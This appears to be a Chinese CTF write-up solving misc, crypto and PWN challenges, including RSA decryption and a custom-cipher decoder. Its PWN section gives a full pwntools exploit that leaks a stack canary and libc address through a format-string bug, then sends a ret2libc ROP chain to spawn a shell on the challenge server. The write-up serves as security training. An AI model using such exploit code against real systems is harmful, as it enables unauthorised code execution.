MISC

MISC-签到

  • 给了个文本
  • 还给了个提示:
    • A什么码
    • 中文的A什么码
  • 比赛的时候还一脸懵,结果看赛后wp,竟然中文也有asicc码,难绷,直接Python一把梭
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
s = '''27880
30693
25915
21892
38450
23454
39564
23460
21457
36865
112
108
98
99
116
102
33719
21462
21069
27573
102
108
97
103
20851
27880
79
110
101
45
70
111
120
23433
20840
22242
38431
22238
22797
112
108
98
99
116
102
33719
21462
21518
27573
102
108
97
103'''.split('\n')
for i in s:
print(chr(int(i)),end='')
# 注知攻善防实验室发送plbctf获取前段flag关注One-Fox安全团队回复plbctf获取后段flag
# flag{TreJaiuLT1rgbdfG0Eay}

  • 题目

江

  • 题目给了个图片,搜索店名得到

image-20240421144745288

1
flag{湖北省武汉市江汉二路与江汉路步行街交叉路口}

Crypto

Crypto-签到

  • 题目

image-20240421145034365

  • nc进去得到

image-20240421145144888

1
2
3
4
c: 38478719731456920254584229193195504721267806083622874429885761346123119637467296552401249903011711712278965100132294859648217698057571573068034404537319685057454141160369595161460764219533558882338917673834773396449511689811007680636283289180782460840261693504283947872469616316457812072732251884997891935383
p: 6974475803409773133077692581180731561231818120282398174470652505022587510523353269841714565212701624338991953657362287616659617064472091900090060517449899
e: 65537
n: 48643312732348400411907645673627559241108063266539470654135637624615291256900891744192753382013592798789247951973657434487563708364534426240488421995883819453871580337479962824372756520068423158762941771381360518981957102628258199373462951571923569605131059517360631486637457972556994844239543562277975110201
  • 简单的分解n的题目,况且p都已经知道了

image-20240421145244277

  • exp:
1
2
3
4
5
6
7
8
9
10
11
import libnum
import gmpy2
p = 6974475803409773133077692581180731561231818120282398174470652505022587510523353269841714565212701624338991953657362287616659617064472091900090060517449899
n = 48643312732348400411907645673627559241108063266539470654135637624615291256900891744192753382013592798789247951973657434487563708364534426240488421995883819453871580337479962824372756520068423158762941771381360518981957102628258199373462951571923569605131059517360631486637457972556994844239543562277975110201
c = 38478719731456920254584229193195504721267806083622874429885761346123119637467296552401249903011711712278965100132294859648217698057571573068034404537319685057454141160369595161460764219533558882338917673834773396449511689811007680636283289180782460840261693504283947872469616316457812072732251884997891935383
e = 65537
phi_n = p*(p-1)
d = gmpy2.invert(e,phi_n)
m = pow(c,d,n)
print(libnum.n2s(int(m)))
flag{a6f1d608-77e1-4932-bde5-5f45afa739ee}

两元钱的铜匠

  • 没数论基础,现代密码有只会一些基础的,太灵活的不会

玛卡巴卡有什么坏心思呢

  • 当时搜了一下玛卡巴卡解密,结果没有,没想到在github上

Add files via upload · ChinaRan0/Drt-AAV@8f42d48 (github.com)

  • 看wp抄的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
def decode_message(encoded_message, encoding_rules):
decoding_rules = {v: k for k, v in encoding_rules.items()}
decoded_message = ""
i = 0
while i < len(encoded_message):
for encoded_str in sorted(decoding_rules.keys(), key=len, reverse=True):
if encoded_message[i:].startswith(encoded_str):
decoded_message += decoding_rules[encoded_str]
i += len(encoded_str)
break
else:
i += 1

return decoded_message

encoding_rules = {
'a': '玛卡巴卡轰',
'b': '阿巴雅卡轰',
'c': '伊卡阿卡噢轰',
'd': '哈姆达姆阿卡嗙轰',
'e': '咿呀呦轰',
'f': '玛卡雅卡轰',
'g': '伊卡阿卡轰',
'h': '咿呀巴卡轰',
'i': '达姆阿卡嗙轰',
'j': '玛卡巴卡玛卡巴卡轰',
'k': '玛卡巴卡玛卡巴卡玛卡巴卡轰',
'l': '玛卡巴卡玛卡巴卡玛卡巴卡玛卡巴卡轰',
'm': '阿巴雅卡阿巴雅卡轰',
'n': '阿巴雅卡阿巴雅卡阿巴雅卡轰',
'o': '阿巴雅卡阿巴雅卡阿巴雅卡阿巴雅卡轰',
'p': '伊卡阿卡噢伊卡阿卡噢轰',
'q': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
'r': '伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢伊卡阿卡噢轰',
's': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
't': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'u': '哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰',
'v': '咿呀呦咿呀呦轰',
'w': '咿呀呦咿呀呦咿呀呦轰',
'x': '咿呀呦咿呀呦咿呀呦咿呀呦轰',
'y': '咿呀呦咿呀呦咿呀呦咿呀呦咿呀呦轰',
'z': '玛卡雅卡玛卡雅卡轰',
'A': '玛卡雅卡玛卡雅卡玛卡雅卡轰',
'B': '玛卡雅卡玛卡雅卡玛卡雅卡玛卡雅卡轰',
'C': '伊卡阿卡伊卡阿卡轰',
'D': '伊卡阿卡伊卡阿卡伊卡阿卡轰',
'E': '伊卡阿卡伊卡阿卡伊卡阿卡伊卡阿卡轰',
'F': '咿呀巴卡咿呀巴卡轰',
'G': '咿呀巴卡咿呀巴卡咿呀巴卡轰',
'H': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'I': '咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡咿呀巴卡轰',
'J': '达姆阿卡嗙达姆阿卡嗙轰',
'K': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'L': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'M': '达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙达姆阿卡嗙轰',
'N': '巴卡巴卡轰',
'O': '巴卡巴卡巴卡巴卡轰',
'P': '巴卡巴卡巴卡巴卡巴卡巴卡轰',
'Q': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'R': '巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡巴卡轰',
'S': '呀呦轰',
'T': '呀呦呀呦轰',
'U': '呀呦呀呦呀呦轰',
'V': '呀呦呀呦呀呦呀呦轰',
'W': '呀呦呀呦呀呦呀呦呀呦轰',
'X': '达姆阿卡轰',
'Y': '达姆阿卡达姆阿卡轰',
'Z': '达姆阿卡达姆阿卡达姆阿卡轰',
'0': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'1': '达姆阿卡达姆阿卡达姆阿卡达姆阿卡达姆阿卡轰',
'2': '玛巴轰',
'3': '玛巴玛巴轰',
'4': '玛巴玛巴玛巴轰',
'5': '玛巴玛巴玛巴玛巴轰',
'6': '巴卡玛巴轰',
'7': '巴卡玛巴巴卡玛巴轰',
'8': '巴卡玛巴巴卡玛巴巴卡玛巴轰',
'9': '巴卡玛巴巴卡玛巴巴卡玛巴巴卡玛巴轰',
'=': '妈个巴子轰',
'/': '妈个巴卡轰',
'+': '妈个巴达轰',

}
encoded_message = "玛卡巴卡玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡阿巴雅卡轰达姆阿卡嗙轰哈姆达姆阿卡嗙哈姆达姆阿卡嗙哈姆达姆阿卡嗙轰玛卡巴卡轰达姆阿卡嗙轰阿巴雅卡阿巴雅卡轰咿呀呦轰达姆阿卡嗙轰"
decoded_text = decode_message(encoded_message, encoding_rules)
print(decoded_text)
# jinitaimei
# flag{jinitaimei}

PWN

  • 赛后复现

Palu

  • 当时看这题,以为挺复杂的,结果一看是格式化字符串漏洞,并且开了canary保护。一些复杂的加密解密算法看不懂也能写这题。
  • 查看题目附件,给了三个文件,分别是ld文件、so文件和Palu文件

image-20240425152833048

checksec

  • 习惯性的先checksec文件一下,看看保护
  • 发现没开RELRO和PIE保护,开启了NX和Canary保护

image-20240425152959067

运行程序

  • 发现有三个输入点

image-20240425153202605

IDA分析

  • 查看main函数

image-20240425153247944

image-20240425153303788

  • 查看palu64_decode函数,发现有个gift

image-20240425153403988

  • 再查看palu64_encode,没啥发现,就一堆算法的代码

image-20240425153518759

思路

  1. 在输入点1和输入点2按照要求输入
  2. 在输入点3输入 Palu得到其解码
  3. 将解码复制进exp里面
  4. 在输入点1进行格式化字符串漏洞,泄露canary的值,和返回地址
  5. 在输入点2中输入 2.,输入加密后的Palu,得到gift,然后Canary绕过
  6. 最后在ROP链

解题

  • 运行程序,得到Palu加密后的数据 UGFsdQ==

image-20240425181731173

  • 然后构造输入

image-20240425232731393

  • gdb动调,利用格式化字符串漏洞得到正确的libc_main的地址和Canary的值,并且进行接收

image-20240425232919962

  • 剩下的就是ret2libc+canary绕过了
  • gdb动调计算libc的基址

image-20240425233155674

  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.arch = 'amd64'
context.os = 'Linux'
context.endian = 'little'
context.log_level = 'debug'
io = remote('192.168.240.1',54188)
#io = process('./Palu')
#gdb.attach(io)
e = ELF('./Palu')
decode = b'UGFsdQ=='
payload1 = b'%23$p\n%25$p'
io.sendlineafter(b'name\n',payload1)

canary = io.recvline()[2:]
leak_libc = io.recvline()[2:]
canary = int(canary,16)
leak_libc = int(leak_libc,16)
print(hex(leak_libc))
print(hex(canary))
libc_main = leak_libc - 240
libc_addr = libc_main - 0x20750
pop_rdi_ret = 0x4010a3
sh_addr = 0x18CE57 + libc_addr
sys_addr = 0x453A0 + libc_addr
io.sendlineafter(b'options\n',b'2')
io.sendlineafter(b'decode:',decode)
payload2 = b'A'*0x18 + p64(canary) + b'A'*0x8 + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
io.sendlineafter(b'gift\n',payload2)
# %23$p
# 0x00000000004010a3 : pop rdi ; ret
# system 0x453A0
# /bin/sh 0x18CE57
io.interactive()

复现问题

  • 发现对patchelf不是很会,没搞明白,导致计算libc基址的时候出现错误,打很久都打不出来。最后还是看了一下别人wp才知道是要减去 240
  • canary绕过第一次做到,通过泄露canary的值,然后在进行栈溢出的时候,在存储canary值的位置原样输入canary的值,再溢出到返回地址,进而绕过canary